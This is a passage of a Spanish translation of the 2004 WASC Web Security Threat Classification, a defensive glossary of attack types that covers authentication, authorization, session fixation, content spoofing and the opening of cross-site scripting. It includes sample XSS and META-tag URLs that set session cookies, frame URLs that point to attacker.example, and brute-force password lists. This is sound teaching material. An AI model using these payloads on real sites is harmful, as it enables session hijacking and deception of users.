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Descripción 
La Clasificación de Amenazas a la seguridad web es un esfuerzo de 
cooperación para aclarar y organizar las amenazas a la seguridad de 
un sitio web. Los miembros de Web Application Security Consortium 
han creado este proyecto para desarrollar y promover una 
terminología estándar para la industria que describa estos aspectos. 
Desarrolladores de aplicaciones, profesionales de la seguridad, 
fabricantes de software y auditores, tendrán la capacidad de disponer 
de un lenguaje consistente para tratar los aspectos relacionados con 
la seguridad web. 
 

Objetivos 
• Identificar todos los tipos conocidos de ataque a la seguridad 

de las aplicaciones web. 
• Acordar la nomenclatura de cada tipo de ataque. 
• Desarrollar una forma estructurada de organizar los tipos de 

ataque.  
• Desarrollar documentación que proporcione descripciones 

genéricas para cada tipo de ataque. 
 

A quién va dirigido 
Este documento proporciona un entendimiento y comprensión más 
profunda de los riesgos de seguridad que amenazan los sitios web. 
Mejora las prácticas de programación segura para prevenir 
problemas de seguridad durante el desarrollo de aplicaciones. Sirve 

 



 

2 
Copyright 2004, Web Application Security Consortium. All rights reserved.  

como guía para determinar si los sitios web han sido correctamente 
diseñados, desarrollados, y revisados contra todas las amenazas 
conocidas. Ayuda a seleccionar las soluciones de seguridad web, y a 
entender sus capacidades. 
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Introducción 
Para muchas empresas, los sitios web se utilizan como sistemas de 
misión crítica que deben funcionar sin problemas para procesar 
diariamente millones de dólares en transacciones online. Sin 
embargo, el valor real de un sitio web necesita ser evaluado caso por 
caso en cada empresa. El valor tangible e intangible de algo es difícil 
de medir únicamente en cifras económicas.  
 
Las vulnerabilidades de  seguridad web afectan continuamente en el 
riesgo de un sitio web. Cuando una vulnerabilidad de seguridad web 
se ha identificado, llevar a cabo el ataque requiere almenos una de 
las múltiples técnicas de ataque a las aplicaciones. Estas técnicas 
son comúnmente referidas  como tipos de ataque (la forma en la que 
se aprovecha una vulnerabilidad de seguridad). Muchos de estos 
tipos de ataque tienen nombres reconocidos como Desbordamiento 
de buffer, Inyección de código SQL y Cross-site Scripting. Como 
base, el tipo de ataque es el método que la Clasificación de 
Amenazas a la Seguridad Web usará para explicar y organizar las 
amenazas a un sitio web. 
 
La Clasificación de Amenazas a la Seguridad Web recopilará y 
desglosará los tipos conocidos de ataque que han presentado una 
amenaza a sitios web en el pasado. Ofrecerá un nombre estándar y 
explicará, a través de documentación, los puntos clave de discusión 
de cada tipo de ataque. Cada tipo también será clasificado en una 
estructura flexible. 
 
La creación de una Clasificación de Amenazas a la Seguridad Web 
será de excepcional valor para desarrolladores de aplicaciones, 
profesionales de la seguridad, fabricantes de software o cualquier 
otro interesado en la seguridad web. Metodologías de revisión de 
seguridad independientes, guías de programación segura, y 
requerimientos de capacidad en productos/servicios se beneficiarán 
de este esfuerzo. 
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Historia 
Durante los últimos años, la industria de la seguridad web ha 
adoptado docenas de términos confusos y esotéricos para describir 
la investigación de vulnerabilidades. Términos como Cross-site 
Scripting, Manipulación de Parámetros y Envenenamiento de 
Cookies han dado nombres incoherentes y ambiguos intentando 
describir su impacto. 
 
Por ejemplo, cuando un sitio web es vulnerable a Cross-site 
Scripting, el problema de seguridad puede resultar en un robo de 
cookies de usuario. Una vez que la cookie ha sido comprometida, 
permite que alguien pueda llevar a cabo un secuestro de sesión y 
tome el control de la sesión del usuario. Para aprovechar la 
vulnerabilidad, un atacante utiliza la manipulación de los datos de 
entrada a través de la alteración de los parámetros de la URL.  
 
La descripción del ataque anterior es confusa y puede ser descrita 
utilizando todas las formas de la jerga técnica. Este vocabulario 
complejo e intercambiable causa frustración y desacuerdos en foros 
abiertos, incluso cuando los participantes están de acuerdo en los 
conceptos principales.  
 
Durante años, no ha habido una buena documentación 
estandarizada, completa o exacta que describa estas cuestiones. 
Haciendo nuestro trabajo, hemos confiado en la exquisita 
información de un buen número de libros, docenas de documentos y 
cientos de presentaciones. 
 
Cuando los recien llegados a la seguridad web intentan estudiar, 
rápidamente se sienten abrumados y confusos por la ausencia de un 
lenguaje estándar. Esta confusión atrapa el campo de la seguridad 
web en una niebla que ralentiza su evolución. Necesitamos un 
acercamiento formal y estandarizado para discutir los aspectos de la 
seguridad web al igual que seguimos mejorando la seguridad de la 
Web. 
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Checklist 
 
 
Autenticación 

1 
Fuerza Bruta 
Un ataque de fuerza bruta es un proceso automatizado de prueba y error 
utilizado para adivinar un nombre de usuario, contraseña, número de 
tarjeta de crédito o clave criptográfica. 

2 
Autenticación Insuficiente 
La autenticación insuficiente ocurre cuando un sitio web permite a un 
atacante acceder a contenido sensible o funcionalidades sin haberse 
autenticado correctamente. 

3 
Débil Validación en la Recuperación de Contraseñas 
La débil validación en la recuperación de contraseñas se produce cuando 
un sitio web permite a un atacante obtener, modificar o recuperar, de 
forma ilegal, la contraseña de otro usuario. 

Autorización 

4 
Predicción de Credenciales/Sesión 
La predicción de credenciales/sesión es un método de secuestro o 
suplantación de un usuario del sitio web. 

5 
Autorización Insuficiente 
La autorización insuficiente se produce cuando un sitio web permite 
acceso a contenido sensible o funcionalidades que deberían requerir un 
incremento de las restricciones en el control de acceso. 

6 
Expiración de Sesión Insuficiente 
La expiración de sesión insuficiente se produce cuando un sitio web 
permite a un atacante reutilizar credenciales de sesión o IDs de sesión 
antiguos para llevar a cabo la autorización. 

7 
Fijación de Sesión 
La fijación de sesión es una técnica de ataque que fuerza al ID de sesión 
de un usuario a adoptar un valor determinado. 

Ataques en la parte cliente 

8 
Suplantación de Contenido 
La suplantación de contenido es una técnica de ataque utilizada para 
engañar al usuario haciéndole creer que cierto contenido que aparece en 
un sitio web es legítimo, cuando en realidad no lo es. 
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9 
Cross-site Scripting 
Cross-site Scripting (XSS) es una técnica de ataque que fuerza a un sitio 
web a repetir código ejecutable facilitado por el atacante, y que se 
cargará en el navegador del usuario. 

Ejecución de comandos 

10 
Desbordamiento de Buffer 
La explotación de un desbordamiento de buffer es un ataque que altera el 
flujo de una aplicación sobreescribiendo partes de la memoria. 

11 
Ataques de Formato de Cadena 
Los ataques de formato de cadena alteran el flujo de una aplicación 
utilizando las capacidades proporcionadas por las librerías de formato de 
cadenas para acceder a otro espacio de memoria. 

12 
Inyección LDAP 
La inyección LDAP es una técnica de ataque usada para explotar sitios 
web que construyen sentencias LDAP a partir de datos de entrada 
suministrados por el usuario.  

13 
Comandos de Sistema Operativo 
Los comandos de sistema operativo es una técnica de ataque utilizada 
para explotar sitios web mediante la ejecución de comandos de sistema 
operativo a través de la manipulación de las entradas a la aplicación. 

14 
Inyección de código SQL 
La inyección de código SQL es una técnica de ataque usada para 
explotar sitios web que construyen sentencias SQL a partir de entradas 
facilitadas por el usuario. 

15 

Inyección de código SSI 
La inyección de código SSI (Server-side Include) es una técnica de 
explotación en la parte servidora que permite a un atacante enviar código 
a una aplicación web, que posteriormente será ejecutado localmente por 
el servidor web. 

16 
Inyección XPath 
La inyección XPath es una técnica de ataque utilizada para explotar sitios 
web que construyen consultas Xpath con datos de entrada facilitados por 
el usuario. 

Revelación de información 

17 
Indexación de Directorio 
La indexación/listado automático de directorio es una función del servidor 
web que lista todos los ficheros del directorio solicitado si no se encuentra 
presente el fichero de inicio habitual. 
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18 

Fuga de Información 
La fuga de información se produce cuando un sitio web revela 
información sensible, como comentarios de los desarrolladores o 
mensajes de error, que puede ayudar a un atacante para explotar el 
sistema. 

19 
Path Traversal 
La técnica de ataque Path Traversal fuerza el acceso a ficheros, 
directorios y comandos que potencialmente residen fuera del directorio 
“document root” del servidor web. 

20 
Localización de Recursos Predecibles 
La localización de recursos predecibles es una técnica de ataque usada 
para descubrir contenido y funcionalidades ocultas en el sitio web. 

Ataques lógicos 

21 
Abuso de Funcionalidad 
El abuso de funcionalidad es una técnica de ataque que usa las propias 
capacidades y funcionalidades de un sitio web para consumir, estafar o 
evadir mecanismos de control de acceso. 

22 
Denegación de Servicio 
La denegación de servicio  (Denial of Service, DoS) es una técnica de 
ataque cuyo objetivo es evitar que un sitio web permita la actividad 
habitual de los usuarios. 

23 
Anti-automatización Insuficiente 
La anti-automatización insuficiente se produce cuando un sitio web 
permite a un atacante automatizar un proceso que sólo debe ser llevado 
a cabo manualmente. 

24 
Validación de Proceso Insuficiente 
La validación de proceso insuficiente se produce cuando un sitio web 
permite a un atacante evadir o engañar el flujo de control esperado por la 
aplicación. 
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Tipos de ataque 
 

1  A u t e n t i c a c i ó n  
El capítulo “Autenticación” cubre ataques cuyo objetivo es el método 
utilizado por un sitio web para validar la identidad de un usuario, 
servicio o aplicación. La autenticación es realizada usando al menos 
uno de estos tres mecanismos: "algo que se tiene ", "algo que se 
conoce" o “algo que se es ". Este apartado tratará los ataques 
utilizados para engañar o explotar el proceso de autenticación de un 
sitio web. 
 

1.1 Fuerza bruta 
Un ataque de fuerza bruta es un proceso automatizado de prueba y 
error utilizado para adivinar el nombre de usuario, contraseña, 
número de tarjeta de crédito o clave criptográfica de una persona. 
 
Muchos sistemas permiten el empleo de contraseñas o claves 
criptográficas débiles, y los usuarios a menudo escogerán 
contraseñas fáciles de adivinar, posiblemente encontradas en un 
diccionario. Considerando este escenario, un atacante puede 
comenzar un bucle recorriendo el diccionario término a término, 
generando miles o potencialmente millones de alternativas 
incorrectas buscando la contraseña válida. Cuando una contraseña 
adivinada permite al acceso al sistema, el ataque de fuerza bruta ha 
tenido éxito y el atacante dispone de acceso a la cuenta. 
 
La misma técnica de prueba y error también es aplicable para 
adivinar claves de cifrado. Cuando un sitio web utiliza una clave débil 
o de corta longitud, es posible para un atacante adivinar una clave 
correcta probando todas las posibles combinaciones de claves. 
  
Esencialmente hay dos tipos de ataque de fuerza bruta, fuerza bruta 
(normal) y fuerza bruta inversa. Un ataque normal de fuerza bruta 
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utiliza un único nombre de usuario y muchas contraseñas. Un ataque 
de fuerza bruta inversa utiliza muchos nombres de usuario y una 
única contraseña. En sistemas con millones de cuentas de usuario, 
las probabilidades de que múltiples usuarios compartan la misma 
contraseña aumentan radicalmente. Mientras las técnicas de fuerza 
bruta son sumamente populares y a menudo resultan satisfactorias, 
pueden llevar a cabo horas, semanas o años en completarse. 
 
Ejemplo 
Username = Jon 
Passwords = smith, michael-jordan, [pet names], [birthdays], [car 
names], …. 
 
Usernames = Jon, Dan, Ed, Sara, Barbara, ….. 
Password = 12345678 
 
 
Referencias 
“Brute Force Attack”, Imperva Glossary 
http://www.imperva.com/application_defense_center/glossary/brute_f
orce.html 
 
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, 
By David Endler – iDEFENSE Labs 
http://www.cgisecurity.com/lib/SessionIDs.pdf 
 

1.2 Autenticación insuficiente 
La autenticación insuficiente ocurre cuando un sitio web permite a un 
atacante acceder a contenido o funcionalidad sensible sin tener que 
autenticarse correctamente. Las herramientas de administración 
basadas en web son un buen ejemplo de sitios web que 
proporcionan acceso a funcionalidades sensibles. Dependiendo de 
los recursos específicos online, estas aplicaciones web no deberían 
ser directamente accesibles sin requerir de la forma apropiada la 
verificación de la identidad del usuario. 
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En el ámbito de la configuración de la autenticación, algunos 
recursos son protegidos “ocultando” la ubicación específica y no 
enlazando su ubicación en el sitio web principal u otras zonas 
públicas. Sin embargo, esta actuación no es más que “seguridad a 
través de oscuridad”. Es importante entender que simplemente 
porque un recurso es desconocido para un atacante, no implica que 
este recurso no permanezca accesible directamente a través de una 
URL específica. Esta URL puede ser descubierta a través de 
pruebas de fuerza bruta sobre ubicaciones comunes de ficheros y 
directorios (/admin por ejemplo), mensajes de error, logs o quizás 
recursos documentados en ficheros de ayuda. Estos recursos, ya 
sean contenidos o funcionalidades, deben ser adecuadamente 
protegidos.  
 
Ejemplo 
Muchas aplicaciones web han sido diseñadas con funcionalidades 
administrativas en una ubicación fuera del directorio raíz (/admin/). 
Este directorio generalmente nunca es enlazado desde el sitio web, 
pero aún así puede ser accedido utilizando un navegador web 
estándar. 
 
Ya que el usuario o desarrollador  nunca esperó que alguien pudiera 
ver esta página, el añadido de autenticación es pasado por alto en 
muchas ocasiones. Si un atacante simplemente visitara esta página, 
obtendría acceso completo de administración al sitio web. 
 

1.3 Débil validación en la recuperación de contraseñas 
La débil validación en la recuperación de contraseñas se produce 
cuando un sitio web permite, de forma ilegal, que un atacante 
obtenga, modifique o recupere la contraseña de otro usuario. Los 
métodos de autenticación convencionales de un sitio web requieren 
que los usuarios seleccionen y recuerden una contraseña o una 
frase. El usuario debe ser la única persona que conozca la 
contraseña y debe ser recordada de forma precisa. A medida que el 
tiempo pasa, los usuarios pierden la capacidad de recordar con 
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precisión sus contraseñas. El asunto se complica más aún cuando el 
usuario visita, de media, 20 sitios que requieren suministrar una 
contraseña (más información en el siguiente enlace de RSA Survey: 
http://news.bbc.co.uk/1/hi/technology/3639679.stm). Así, la 
recuperación de contraseñas se convierte en una parte importante 
dentro del servicio online a usuarios. 
 
Ejemplos de procesos automáticos de recuperación de contraseñas 
incluyen requerir al usuario el responder a una “pregunta secreta” 
definida como parte del proceso de registro del usuario. Esta 
pregunta puede ser seleccionada de una lista de preguntas 
predefinidas o proporcionada por el usuario. Otro mecanismo en uso 
consiste en requerir que el usuario proporcione una “indicación” 
durante el proceso de registro que le ayude a recordar su 
contraseña. Otros mecanismos requieren que el usuario proporcione 
distintos datos personales como su número de la seguridad social, 
dirección, código postal, etc. para validar su identidad. Después de 
que el usuario haya demostrado que es quién dice ser, el sistema de 
recuperación mostrará o enviará por correo electrónico una nueva 
contraseña. 
 
Un sitio web se considera que utiliza una validación débil en la 
recuperación de contraseñas cuando un atacante es capaz de 
sobrepasar el mecanismo de recuperación utilizado. Esto ocurre 
cuando la información requerida para validar la identidad de los 
usuarios durante la recuperación, es fácilmente predecible o puede 
ser falsificada. Los sistemas de recuperación de contraseñas pueden 
ser comprometidos mediante el uso de ataques de fuerza bruta, 
debilidades inherentes del sistema o preguntas secretas fácilmente 
predecibles. 
 
Ejemplo 
(Métodos débiles de recuperación de contraseñas) 
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Verificación de información 
Muchos sitios web sólo requieren al usuario que proporcione su 
dirección de correo electrónico en combinación con su dirección 
postal y su número de teléfono. Esta información puede ser 
fácilmente obtenida a través de consultas online sobre páginas 
amarillas o páginas blancas. Como resultado, la información de 
verificación no es muy secreta. Más aún, la información puede ser 
comprometida vía otros métodos como Cross-site Scripting y las 
estafas de Phising. 
 
Indicaciones de contraseñas 
Un sitio web que utiliza indicaciones para ayudar a recordar al 
usuario su contraseña puede ser atacado porque la indicación ayuda 
a los ataques de fuerza bruta. Un usuario puede tener una buena 
contraseña como “122277King” con su correspondiente indicación de 
“bday+fav author”. Un atacante puede deducir de esta indicación que 
la contraseña del usuario es una combinación de la fecha de 
cumpleaños del usuario y su autor favorito. Esto ayuda a reducir 
considerablemente el tamaño del diccionario de fuerza bruta a utilizar 
sobre la contraseña. 
 
Pregunta secreta y respuesta 
Una contraseña de usuario puede ser “Richmond” con una pregunta 
secreta de “De donde eres”. Un atacante puede utilizar un ataque de 
fuerza bruta, limitando la respuesta secreta a nombres de ciudades. 
Por otro lado, si el atacante conoce un poco el usuario objetivo, 
conocer su ciudad natal le resultará también fácil. 
 
 
Referencias 
“Protecting Secret Keys with Personal Entropy”, By Carl Ellison, C. 
Hall, R. Milbert, and B. Schneier 
http://www.schneier.com/paper-personal-entropy.html 
 
“Emergency Key Recovery without Third Parties”, Carl Ellison 
http://theworld.com/~cme/html/rump96.html 
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2  A u t o r i z a c i ó n  
El capítulo “Autorización” cubre los ataques que tienen como objetivo 
un método de los sitios web para determinar si un usuario, servicio o 
aplicación tiene los permisos necesarios para ejecutar una acción 
solicitada. Por ejemplo, muchos sitios web sólo deberían permitir a 
ciertos usuarios acceder a contenidos o funcionalidades específicos. 
Otras veces, un acceso de usuario a otros recursos puede estar 
restringido. Usando varias técnicas, un atacante puede introducirse 
dentro de un sitio web incrementando sus privilegios hacia áreas 
protegidas. 
 

2.1 Predicción de credenciales/sesión 
La predicción de credenciales/sesión es un método de secuestro o 
suplantación de un usuario de un sitio web. Deduciendo o adivinando 
el valor único que identifica a un usuario o sesion particular se logra 
el ataque. Tambien conocido como secuestro de sesión, las 
consecuencias podrían permitir a los atacantes la capacidad de 
emitir peticiones al sitio web con los privilegios del usuario 
comprometido. 
 
Muchos sitios web estan diseñados para autenticar e incorporar una 
marca de seguimiento a un usuario cuando la comunicación se 
establece por primera vez. Para hacer esto, los usuarios deben 
demostrar su identidad al sitio web, tipicamente facilitando una 
combinación de nombre de usuario/contraseña (credenciales). En 
vez de estar pasando estas credenciales confidenciales de un lado a 
otro en cada transacción, los sitios web generaran un único “ID 
(identificador) de sesión”  para identificar la sesión del usuario como 
autenticado. La comunicación posterior entre el usuario y el sitio web 
es etiquetada con la ID de sesión como “prueba” de la sesión 
autenticada. Si un atacante es capaz de predecir o adivinar la ID de 
sesión de otro usuario, la actividad fraudulenta es posible. 
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Ejemplo 
Muchos sitios web procuran generar los IDs de sesión usando 
algoritmos propietarios. Estas metodologías tradicionales pueden 
generar IDs de sesion simplemente incrementando números 
estáticos. O pueden ser procedimientos más complejos tales como 
factorizar en tiempo y en otras variables computacionales 
específicas. 
 
El ID de sesión es entonces almacenado en una cookie, campos 
ocultos de formulario o en la URL. Si un atacante puede determinar 
el algoritmo usado para generar el ID de sesión, un ataque puede ser 
montado de la siguiente manera: 
 

1) El atacante conecta con la aplicación web obteniendo el actual 
ID de sesión. 

2) El atacante calcula o realiza fuerza bruta sobre el próximo ID 
de sesión. 

3) El atacante cambia el valor actual en la cookie/campo de   
formulario oculto/URL y asume la identidad del otro usuario. 

 
 
Referencias 
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, 
By David Endler – iDEFENSE Labs 
http://www.cgisecurity.com/lib/SessionIDs.pdf 
 
“Best Practices in Managing HTTP-Based Client Sessions”, Gunter 
Ollmann - X-Force Security Assessment Services EMEA 
http://www.itsecurity.com/papers/iss9.htm 
 
“A Guide to Web Authentication Alternatives”, Jan Wolter 
http://www.unixpapa.com/auth/homebuilt.html 
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2.2 Autorización insuficiente 
La autorización insuficiente se produce cuando un sitio web permite 
acceso a contenido sensible o funcionalidades que deberían requerir 
un aumento de restricciones de control de acceso. Cuando un 
usuario es autenticado en un sitio web, no necesariamente significa 
que debiera tener acceso completo a todo el contenido, y tampoco la 
funcionalidad debiera ser otorgada arbitrariamente.  
 
Los procedimientos de autorización son interpretados despues de la 
autenticación, forzando lo que un usuario, servicio o aplicación esta 
permitido a realizar. Prudentes restricciones deberían guiar la 
actividad de un sitio web de acuerdo a la política. Zonas  sensibles 
de un sitio web pueden necesitar estar restringidas a todo el mundo 
excepto para un adminstrador. 
 
Ejemplo 
En el pasado muchos sitios web tenían contenido administrativo y/o 
funcionalidades almacenadas en directorios ocultos tales como 
/admin o /logs. Si un atacante hacía una petición directamente a 
esos directorios, tenía el acceso permitido. El atacante podía 
entonces ser capaz de reconfigurar el servidor web, acceder a 
información sensible o comprometer el sitio web. 
 
 
Referencias 
“Brute Force Attack”, Imperva Glossary 
http://www.imperva.com/application_defense_center/glossary/brute_f
orce.html 
 
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, 
By David Endler – iDEFENSE Labs 
http://www.cgisecurity.com/lib/SessionIDs.pdf 
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2.3 Expiración de sesión insuficiente 
La expiración de sesión insuficiente se produce cuando un sitio web 
permite a un atacante reutilizar unas credenciales de sesion antiguas 
o IDs de sesión para la autorización. La expiración de sesión 
insuficiente incrementa la exposición de los sitios web para que los 
atacantes roben o se hagan pasar por otros usuarios. 
 
Dado que HTTP es un protocolo sin estado, los sitios web 
comúnmente usan los IDs de sesión para identificar de forma única a 
un usuario de una petición de otra. Consecuentemente, cada ID de 
sesión debe ser mantenido confidencialmente con el objetivo de 
prevenir que múltiples usuarios accedan a la misma cuenta. Un ID de 
sesión robado puede ser usado para ver otras cuentas de usuario o 
realizar una transacción fraudulenta. 
 
La falta de la apropiada expiración de sesión puede favorecer la 
probable sucesión de ciertos ataques. Por ejemplo, un atacante 
puede interceptar un ID de sesión, posiblemente mediante un 
rastreador de red (sniffer) o mediante un ataque de Cross-site 
Scripting. Aunque los tiempos cortos de expiración de sesión no 
ayudan si un identificador robado es usado inmediatamente, los 
protegerán contra desarrollos de repetición del ID de sesión. En otro 
escenario, un usuario puede acceder a un sitio web desde un 
ordenador compartido (tal como en una librería, café de internet o en 
un entorno de trabajo abierto). La expiración de sesión insuficiente 
podría permitir a un atacante usar el botón atrás del navegador para 
acceder a páginas accedidas previamente por la víctima. 
  
Un tiempo largo de expiración incrementa las probabilidades de un 
atacante para tener éxito en adivinar un ID de sesión válido. La larga 
longitud del tiempo incrementa el número de sesiones concurrentes y 
abiertas, las cuales alargan la reserva de números que un atacante 
puede adivinar. 
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Ejemplo 
En un entorno informático distribuido (más de una persona tiene 
acceso físico sin restricciones a un ordenador), la expiración de 
sesión insuficiente puede ser explotada para ver la actividad web de 
otro usuario. Si una función de salida de login de un sitio web envía 
meramente a la víctima a la página principal del sitio sin terminar la 
sesión, otro usuario podría ir a través del histórico de las páginas del 
navegador y ver las páginas accedidas por la víctima. Dado que el ID 
de sesión de la víctima no ha expirado, el atacante podría ser capaz 
de ver la sesión de la víctima sin tener que facilitar la información de 
las credenciales de autenticación.  
 
 
Referencias 
“Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil 
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer 
Science 
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf 
 
 

2.4 Fijación de sesión 
La fijación de sesión es una técnica de ataque que fuerza un ID de 
sesión de usuario a un valor explícito. Dependiendo de la 
funcionalidad del sitio web objetivo, un número de técnicas pueden 
ser utilizadas para “fijar” el valor del ID de sesión. Este rango de 
técnicas pasa desde los exploits de Cross-site Scripting hasta 
acribillar al sitio web con peticiones HTTP construidas previamente. 
Después de que un ID de sesión de usuario ha sido fijado, el 
atacante esperará para hacer login. Cuando el usuario lo hace, el 
atacante usa el valor del ID de sesión predefinido para asumir su 
identidad online. 
 
Generalmente hablando hay dos tipos de sistemas de administración 
de sesión en lo que a valores de ID se refiere. El primer tipo son los  
sistemas “permisivos” que permiten a los navegadores web 
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especificar cualquier ID. El segundo tipo son sistemas “estrictos” que 
sólo aceptan valores generados en la parte del servidor. Con 
sistemas permisivos, las sesiones de IDs arbitrarios son mantenidos 
sin contactar con el sitio web. Los sistemas estrictos requieren que el 
atacante mantenga la “sesión trampa” con contactos periódicos al 
sitio web previniendo los excesos de tiempo por inactividad. 
 
Sin protección activa contra la fijación de sesión, el ataque puede ser 
montado contra cualquier sitio web usando sesiones para identificar 
a los usuarios autenticados. Los sitios web que usan IDs de sesión 
normalmente están basados en cookies, pero las URLs y los campos 
ocultos de formulario también se usan. 
 
Desafortunadamente las sesiones basadas en cookies son las más 
fáciles de atacar. La mayoría de los métodos de ataque actualmente 
identificados tienen como objetivo la fijación de cookies. 
 
En contraste con el robo de un ID de sesión de usuario después de 
que el usuario se haya autenticado en un sitio web, la fijación de 
sesión proporciona mucha más variedad de posibilidades. La parte 
activa del ataque tiene lugar antes de que el usuario se autentique. 
 
Ejemplo 
El ataque de fijación de sesión normalmente es un procedimiento de 
tres pasos: 
 

1) Configuración de Sesión 
El atacante configura una “sesión trampa” para el sitio web 
objetivo y obtiene los IDs de sesión. O el atacante puede 
seleccionar un ID de sesión arbitrario usado en el ataque. En 
algunos casos el valor de la “sesión trampa” establecida se debe 
mantener (sesión mantenida) con repetidos contactos con el sitio 
web. 
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2) Fijación de Sesión 
El atacante introduce el valor de la sesión trampa en el navegador 
del usuario y fija el ID de sesión del usuario. 

 
3) Entrada en Sesión 
El atacante esperará hasta que el usuario se autentique en el sitio 
web objetivo. Cuando el usuario lo haga, el valor del ID de sesión 
fijado será usado y el ataque se llevará a cabo. 

 
Fijar un valor de ID de sesión del usuario se puede conseguir 
mediante las siguientes técnicas: 
 
Emitiendo una nuevo valor en la ID de sesión de la cookie usando un 
script en la parte cliente 
Una vulnerabilidad de Cross-site Scripting presente en cualquier sitio 
web del dominio puede ser usada para modificar el valor de la actual 
cookie. 
 
 Fragmento de código:  
 
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom”;</script>.idc 

 
 
Emitiendo una cookie usando el tag META 
Este método es similar a los anteriores, pero también es efectivo 
cuando las contramedidas para el Cross-site Scripting  previenen de 
la inyección de etiquetas de script HTML, pero no de meta etiquetas.  
 
Fragmento de código:  
 
http://example/<meta%20http-equiv=Set-Cookie%20 
content="sessionid=1234;%20domain=.example.dom”>.idc
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Emitiendo una cookie usando una cabecera de respuesta HTTP 
El ataque fuerza tanto el sitio web objetivo como cualquier otro sitio 
web del dominio, emitiendo una cookie de ID de sesión. Esto se 
puede lograr de varias formas: 
  

• Entrando en un servidor web del dominio (por ejemplo, un 
servidor WAP mantenido deficientemente) 

• Envenenando un servidor DNS de usuarios, efectivamente 
añadiendo el servidor web atacado al dominio. 

• Configurando un servidor web malévolo en el dominio (por 
ejemplo, en una estación de trabajo de un dominio Windows 
2000, todas las estaciones de trabajo también están en el 
dominio DNS) 

• Explotando un ataque de división de respuesta HTTP.  
 

Nota: Un ataque de fijación de sesión de gran periodo se puede 
lograr emitiendo una cookie persistente (por ejemplo, expirando en 
10 años),  la cual mantendrá la sesión fijada aún cuando el usuario 
reinicie el ordenador.   
 
Fragmento de código:  
http://example/<script>document.cookie="sessionid 
=1234;%20 Expires=Friday,%201 
Jan2010%2000:00:00%20GMT”;</script>.idc 

 
 
 
Referencias 
“Session Fixation Vulnerability in Web-based Applications”, By Mitja 
Kolsek - Acros Security 
http://www.acrossecurity.com/papers/session_fixation.pdf 
 
“Divide and Conquer”, By Amit Klein - Sanctum 
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf 
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3  A t a q u e s  e n  l a  p a r t e  c l i e n t e  
El capítulo “Ataques en la parte cliente” se centra en el abuso o 
aprovechamiento de los usuarios de los sitios web. Cuando un 
usuario visita un sitio web, se establece una relación de confianza 
entre las dos partes, tecnológica y psicológicamente. El usuario 
espera que el sitio web que visita le entregue contenido válido. El 
usuario también espera que el sitio web no le ataque durante su 
permanencia. Teniendo en cuenta estas esperanzas en la relación 
de confianza, un atacante puede emplear diversas técnicas para 
aprovecharse del usuario. 
 

3.1 Suplantación de contenido 
La suplantación de contenido es una técnica de ataque usada para 
engañar a un usuario haciéndole creer que ciertamente el contenido 
que aparece en el sitio web es legítimo y no proviene de ninguna 
fuente externa. 
 
Algunas páginas web son servidas usando fuentes cuyo contenido 
HTML es construido de forma dinámica. Por ejemplo, la ubicación 
orígen de un marco (<frame 
src=”http://foo.example/file.html”>) podría ser 
especificada por el valor de un parámetro en la URL. 
(http://foo.example/page?frame_src=http://foo.examp
le/file.html). Un atacante puede ser capaz de reemplazar el 
valor del parámetro “frame_src” con 
“frame_src=http://attacker.example/spoof.html”.  
 
Cuando la página web resultante es servida, la barra de direcciones 
del navegador permanece visiblemente bajo el dominio esperado por 
el usuario  (foo.example), pero los datos ajenos se encuentran 
envueltos dentro del contenido legítimo. 
 
Enlaces hábilmente construidos pueden ser enviados al usuario vía 
correo electrónico, mensajes instantáneos, boletines de noticias, o 
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forzados sobre los usuarios mediante ataques de cross-site scripting. 
Si un atacante consigue que un usuario visite una página web 
diseñada mediante una URL maliciosa, el usuario pensará que esta 
viendo contenido auténtico desde una ubicación que no lo es. Los 
usuarios implícitamente confiarán en el contenido suplantado ya que 
desde la barra de direcciones del navegador muestra 
http://foo.example, cuando de hecho, el marco HTML 
subyacente está referenciando a: http://attacker.example. 
 
Este ataque explota la confianza establecida entre el usuario y el sitio 
web.  La técnica ha sido usada para crear páginas web falsas 
incluyendo formularios de autenticación, desfiguraciones de páginas 
web y falsos comunicados. 
 
 
Ejemplo 
Creando un falso comunicado de prensa. Supongamos que un sitio 
web usa marcos HTML creados dinámicamente para sus páginas 
web de comunicados de prensa. Un usuario visitaría un link tal como: 
(http://foo.example/pr?pg=http://foo.example/pr/010
12003.html). La página web HTML sería: 
 
Fragmento de código:  
 
<HTML> 
<FRAMESET COLS=”100, *”> 
<FRAME NAME=”pr_menu” SRC=”menu.html”> 
<FRAME NAME=”pr_content” 
SRC=”http://foo.example/pr/01012003.html> 
</FRAMESET> 
</HTML> 
 
 
La aplicación web “pr” del ejemplo anterior crea el HTML con un 
menú estático y un FRAME SRC generado dinámicamente.  El frame 
“pr_content” carga el orígen desde el valor del parametro “pg” de 
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la URL para mostrar el contenido del comunicado de prensa 
solicitado.  Pero ¿que ocurriría si un atacante altera la URL habitual a 
http://foo.example/pr?pg=http://attacker.example/sp
oofed_press_release.html? Sin un apropiado chequeo de 
saneamiento sobre el valor “pg” , el HTML resultante sería: 
 
Fragmento de código:  
 
<HTML> 
<FRAMESET COLS=”100, *”> 
<FRAME NAME=”pr_menu” SRC=”menu.html”> 
<FRAME NAME=”pr_content” SRC=” 
http://attacker.example/spoofed_press_release.html”>
</FRAMESET> 
</HTML> 
 
 
Para el usuario final, el contenido suplantado de 
“attacker.example” aparece como auténtico y entregado desde 
una fuente legítima. 
 
 
Referencias 
“A new spoof: all frames-based sites are vulnerable” - SecureXpert 
Labs 
http://tbtf.com/archive/11-17-98.html#s02 
 

3.2 Cross-site Scripting 
Cross-site Scripting (XSS) es una técnica de ataque que fuerza un 
sitio web a repetir el código ejecutable suminitrado por un atacante, 
el cual se carga en el navegador del usuario. El código normalmente 
está escrito en HTML/JavaScript, pero también puede extenderse a 
VBScript, ActiveX, Java, Flash, o cualquier otra tecnología soportada 
por el navegador. 
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Cuando un atacante consigue que el navegador de un usuario 
ejecute su código,  el código se ejecutará dentro del contexto de 
seguridad (o zona) del sitio web. Con este nivel de privilegio, el 
código tiene la habilidad de leer, modificar y transmitir cualquier dato 
sensible accesible por el navegador. Un usuario objeto de este 
ataque podría tener su cuenta secuestrada (robo de cookie), su 
navegador redirigido a otra dirección, o posiblemente mostrando 
